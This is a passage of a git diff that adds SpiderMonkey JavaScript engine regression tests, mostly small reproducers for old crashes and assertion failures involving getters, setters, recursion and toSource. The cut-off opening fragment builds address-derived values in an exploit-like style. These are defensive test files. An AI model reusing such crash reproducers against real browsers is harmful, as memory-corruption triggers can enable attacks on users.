+ rooter[i] = 0x10000000000000 + address; // IEEE754!
+ }
+ return this[-1] = v;
+ });
+ for(var [key, value] in basket) { value.trigger; }
+
+ delete Array.prototype[0];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355497.js b/js/src/tests/non262/extensions/regress-355497.js
new file mode 100644
index 0000000000..efaf280d66
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355497.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355497;
+var summary = 'Do not overflow stack with Array.slice, getter';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'InternalError: too much recursion';
+
+ try
+ {
+ var a = { length: 1 };
+ a.__defineGetter__(0, [].slice);
+ a[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ var b = { length: 1 };
+ b.__defineGetter__(0, function () { return Array.prototype.slice.call(b); });
+ b[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try
+ {
+ var c = [];
+ c.__defineSetter__(0, c.unshift);
+ c[0] = 1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/extensions/regress-363040-01.js b/js/src/tests/non262/extensions/regress-363040-01.js
new file mode 100644
index 0000000000..f8a382d3be
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363040-01.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in continued fraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Print x as a continued fraction in compact abbreviated notation and return
+// the convergent [n, d] such that x - (n / d) <= epsilon.
+ function contfrac(x, epsilon) {
+ let i = Math.floor(x);
+ let a = [i];
+ x = x - i;
+ let maxerr = x;
+ while (maxerr > epsilon) {
+ x = 1 / x;
+ i = Math.floor(x);
+ a.push(i);
+ x = x - i;
+ maxerr = x * maxerr / i;
+ }
+ print(a);
+ a.push([1, 0]);
+ a.reverse();
+ return a.reduce(function (x, y) {return [x[0] * y + x[1], x[0]];});
+ }
+
+ if (!Array.prototype.reduce)
+ {
+ print('Test skipped. Array.prototype.reduce not implemented');
+ }
+ else
+ {
+// Show contfrac in action.
+ for (num of [Math.PI, Math.sqrt(2), 1 / (Math.sqrt(Math.E) - 1)]) {
+ print('Continued fractions for', num);
+ for (eps of [1e-2, 1e-3, 1e-5, 1e-7, 1e-10]) {
+ let frac = contfrac(num, eps);
+ let est = frac[0] / frac[1];
+ let err = num - est;
+ print(frac, est, err);
+ }
+ print();
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-363040-02.js b/js/src/tests/non262/extensions/regress-363040-02.js
new file mode 100644
index 0000000000..8309d8c6be
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363040-02.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in continued fraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// Print x as a continued fraction in compact abbreviated notation and return
+// the convergent [n, d] such that x - (n / d) <= epsilon.
+ function contfrac(x, epsilon) {
+ let i = Math.floor(x);
+ let a = [i];
+ x = x - i;
+ let maxerr = x;
+ while (maxerr > epsilon) {
+ x = 1 / x;
+ i = Math.floor(x);
+ a.push(i);
+ x = x - i;
+ maxerr = x * maxerr / i;
+ }
+ print(a);
+ return a.reduceRight(function (x, y) {return [x[0] * y + x[1], x[0]];}, [1, 0]);
+ }
+
+ if (!Array.prototype.reduceRight)
+ {
+ print('Test skipped. Array.prototype.reduceRight not implemented');
+ }
+ else
+ {
+// Show contfrac in action on some interesting numbers.
+ for (num of [Math.PI, Math.sqrt(2), 1 / (Math.sqrt(Math.E) - 1)]) {
+ print('Continued fractions for', num);
+ for (eps of [1e-2, 1e-3, 1e-5, 1e-7, 1e-10]) {
+ let frac = contfrac(num, eps);
+ let est = frac[0] / frac[1];
+ let err = num - est;
+ print(frac, est, err);
+ }
+ print();
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-363258.js b/js/src/tests/non262/extensions/regress-363258.js
new file mode 100644
index 0000000000..fe01008aae
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363258.js
@@ -0,0 +1,45 @@
+// |reftest| random -- bug 524788
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363258;
+var summary = 'Timer resolution';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = 0;
+ var stop = 0;
+ var i;
+ var limit = 0;
+ var incr = 10;
+ var resolution = 5;
+
+ while (stop - start == 0)
+ {
+ limit += incr;
+ start = Date.now();
+ for (i = 0; i < limit; i++) {}
+ stop = Date.now();
+ }
+
+ print('limit=' + limit + ', resolution=' + resolution + ', time=' + (stop - start));
+
+ expect = true;
+ actual = (stop - start <= resolution);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-363988.js b/js/src/tests/non262/extensions/regress-363988.js
new file mode 100644
index 0000000000..372bd92914
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-363988.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363988;
+var summary = 'Do not crash at JS::GetPrivate with large script';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function crash() {
+ var town = new Array;
+
+ for (var i = 0; i < 0x4001; ++i) {
+ var si = String(i);
+ town[i] = [ si, "x" + si, "y" + si, "z" + si ];
+ }
+
+ return "town=" + JSON.stringify(town) + ";function f() {}";
+ }
+
+ if (typeof document != "undefined")
+ {
+ // this is required to reproduce the crash.
+ document.write("<script>", crash(), "<\/script>");
+ }
+ else
+ {
+ crash();
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-365527.js b/js/src/tests/non262/extensions/regress-365527.js
new file mode 100644
index 0000000000..29357b6266
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-365527.js
@@ -0,0 +1,63 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365527;
+var summary = 'JSOP_ARGUMENTS should set obj register';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ counter = 500*1000;
+
+ var obj;
+
+ function getter()
+ {
+ obj = { get x() {
+ return getter();
+ }, counter: counter};
+ return obj;
+ }
+
+
+ var x;
+
+ function g()
+ {
+ x += this.counter;
+ if (--counter == 0)
+ throw "Done";
+ }
+
+
+ function f()
+ {
+ arguments=g;
+ try {
+ for (;;) {
+ arguments();
+ obj.x;
+ }
+ } catch (e) {
+ }
+ }
+
+
+ getter();
+ f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-365692.js b/js/src/tests/non262/extensions/regress-365692.js
new file mode 100644
index 0000000000..106b8071a5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-365692.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365692;
+var summary = 'getter/setter bytecodes should support atoms over 64k';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function g()
+{
+ return 10;
+}
+
+try
+{
+ var N = 100*1000;
+ var src = 'var x = ["';
+ var array = Array(N);
+ for (var i = 0; i != N; ++i)
+ array[i] = i;
+ src += array.join('","')+'"]; x.a getter = g; return x.a;';
+ var f = Function(src);
+ if (f() != 10)
+ throw "Unexpected result";
+}
+catch(ex)
+{
+ if (ex == "Unexpected result")
+ {
+ actual = ex;
+ }
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-365869.js b/js/src/tests/non262/extensions/regress-365869.js
new file mode 100644
index 0000000000..6ec88e7970
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-365869.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 365869;
+var summary = 'strict warning for object literal with duplicate propery names';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('test crash from bug 371292 Comment 9');
+
+ try
+ {
+ expect = "TypeError: can't redefine non-configurable property 5";
+ "012345".__defineSetter__(5, function(){});
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-366288.js b/js/src/tests/non262/extensions/regress-366288.js
new file mode 100644
index 0000000000..05f0d2565d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366288.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366288;
+var summary = 'Do not assert !SPROP_HAS_STUB_GETTER with __defineSetter__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__defineSetter__("x", function(){});
+x = 3;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-366292.js b/js/src/tests/non262/extensions/regress-366292.js
new file mode 100644
index 0000000000..19879769cc
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366292.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366292;
+var summary = '__defineSetter__ and JSPROP_SHARED regression';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'undefined';
+this.__defineSetter__("x", function(){});
+actual = String(x);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-366396.js b/js/src/tests/non262/extensions/regress-366396.js
new file mode 100644
index 0000000000..4369be821b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366396.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366396;
+var summary = 'Do not assert !SPROP_HAS_STUB_GETTER on Setter with %=';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__defineSetter__("x", function() {}); x %= 5;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-366668-01.js b/js/src/tests/non262/extensions/regress-366668-01.js
new file mode 100644
index 0000000000..e4d8db6168
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-366668-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366668;
+var summary = 'decompilation of "for (let x in x.p)" ';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ f = function() { for(let x in x.p) { } };
+ expect = 'function() { for(let x in x.p) { } }';
+ actual = f + '';
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-01.js b/js/src/tests/non262/extensions/regress-367501-01.js
new file mode 100644
index 0000000000..7446c13999
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'undefined';
+ var a = { set x(v) {} };
+ actual = a.x + '';
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-02.js b/js/src/tests/non262/extensions/regress-367501-02.js
new file mode 100644
index 0000000000..033ef777e7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'undefined';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 92169 - 3; ++i) a[i] = 1;
+ actual = a.x + '';
+ actual = a.x + '';
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-03.js b/js/src/tests/non262/extensions/regress-367501-03.js
new file mode 100644
index 0000000000..c1f9433712
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-03.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = actual = 'No Crash';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 0x4bf20 - 3; ++i) a[i] = 1;
+ a.x;
+ a.x.x;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367501-04.js b/js/src/tests/non262/extensions/regress-367501-04.js
new file mode 100644
index 0000000000..e88b3e1fa6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367501-04.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367501;
+var summary = 'getter/setter crashes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = actual = 'No Crash';
+ var a = { set x(v) {} };
+ for (var i = 0; i < 0x10050c - 3; ++i) a[i] = 1;
+ a.x;
+ typeof a.x;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-367589.js b/js/src/tests/non262/extensions/regress-367589.js
new file mode 100644
index 0000000000..29aa1b61b6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-367589.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367589;
+var summary = 'Do not assert !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+ document.write('<button id="button" onclick="document.getElementsByTagName(\'button\')[0] = \'wtf\';">Crash</button>');
+ window.addEventListener('load', crash, false);
+}
+
+function crash()
+{
+ document.getElementById('button').click();
+ setTimeout(checkCrash, 0);
+}
+
+function checkCrash()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/non262/extensions/regress-368213.js b/js/src/tests/non262/extensions/regress-368213.js
new file mode 100644
index 0000000000..c1f9be735a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-368213.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368213;
+var summary = 'Do not crash with group assignment and sharp variable defn';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function() { [] = [] });
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-368224.js b/js/src/tests/non262/extensions/regress-368224.js
new file mode 100644
index 0000000000..c6b394e0ea
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-368224.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368224;
+var summary = 'Do not assert: pnprop->pn_type == TOK_COLON';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ ({ x: a } = {});
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-368516.js b/js/src/tests/non262/extensions/regress-368516.js
new file mode 100644
index 0000000000..667b5c1535
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-368516.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368516;
+var summary = 'Treat unicode BOM characters as whitespace';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var bomchars = ['\uFEFF'];
+
+ for (var i = 0; i < bomchars.length; i++)
+ {
+ expect = 'howdie';
+ actual = '';
+
+ try
+ {
+ eval("var" + bomchars[i] + "hithere = 'howdie';");
+ actual = hithere;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': ' + i);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-369404.js b/js/src/tests/non262/extensions/regress-369404.js
new file mode 100644
index 0000000000..d1e25f8c4f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369404.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369404;
+var summary = 'Do not assert: !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER) ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+ document.write('<span id="r"> </span>' +
+ '<script>' +
+ 'f = function(){};' +
+ 'f.prototype = document.getElementById("r").childNodes;' +
+ 'j = new f();' +
+ 'j[0] = null;' +
+ '</script>');
+ window.addEventListener('load', crash, false);
+}
+
+function crash()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/non262/extensions/regress-369696-01.js b/js/src/tests/non262/extensions/regress-369696-01.js
new file mode 100644
index 0000000000..5b2f12cc98
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369696-01.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ q = [];
+ q.__defineGetter__("0", q.toString);
+ q[2] = q;
+ assertEq(q.toSource(), "[\"\", , []]", "wrong string");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-369696-02.js b/js/src/tests/non262/extensions/regress-369696-02.js
new file mode 100644
index 0000000000..5cc18edf7c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369696-02.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+// Bug 762908 requires us to set sp=null;
+if (this.window) window.SpecialPowers = null;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function fun() {}
+ n = fun.prototype;
+ n.__defineGetter__("prototype", n.toSource);
+ p = n.__lookupGetter__("prototype");
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+ assertEq(p, Object.prototype.toSource);
+
+ n["prototype"] = [n];
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+ assertEq(p, Object.prototype.toSource);
+
+ p2 = n["prototype"];
+
+ assertEq(Array.isArray(p2), true);
+ assertEq(p2[0], Object.prototype.toSource);
+
+ n = p2;
+
+ assertEq(n.toString, Array.prototype.toString);
+ n.__defineGetter__("0", n.toString);
+ n = p;
+
+ assertEq(n, Object.prototype.toSource);
+
+ n.call(this);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-369696-03.js b/js/src/tests/non262/extensions/regress-369696-03.js
new file mode 100644
index 0000000000..3d02428b67
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-369696-03.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369696;
+var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = [[[ { toSource: function() { gc(); }}]]];
+
+ var a = [];
+ a[0] = a;
+ a.toSource = a.toString;
+ Array.prototype.toSource.call(a);
+
+//cx->sharpObjectMap.depth == -2
+
+ (function() {
+ var tmp = [];
+ for (var i = 0; i != 30*1000; ++i) {
+ var tmp2 = [];
+ tmp.push(tmp2);
+ tmp2.toSource();
+ }
+ })();
+
+ gc();
+ x.toSource();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-372309.js b/js/src/tests/non262/extensions/regress-372309.js
new file mode 100644
index 0000000000..950c0a5461
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-372309.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372309;
+var summary = 'Root new array objects';
+var actual = 'No Crash';
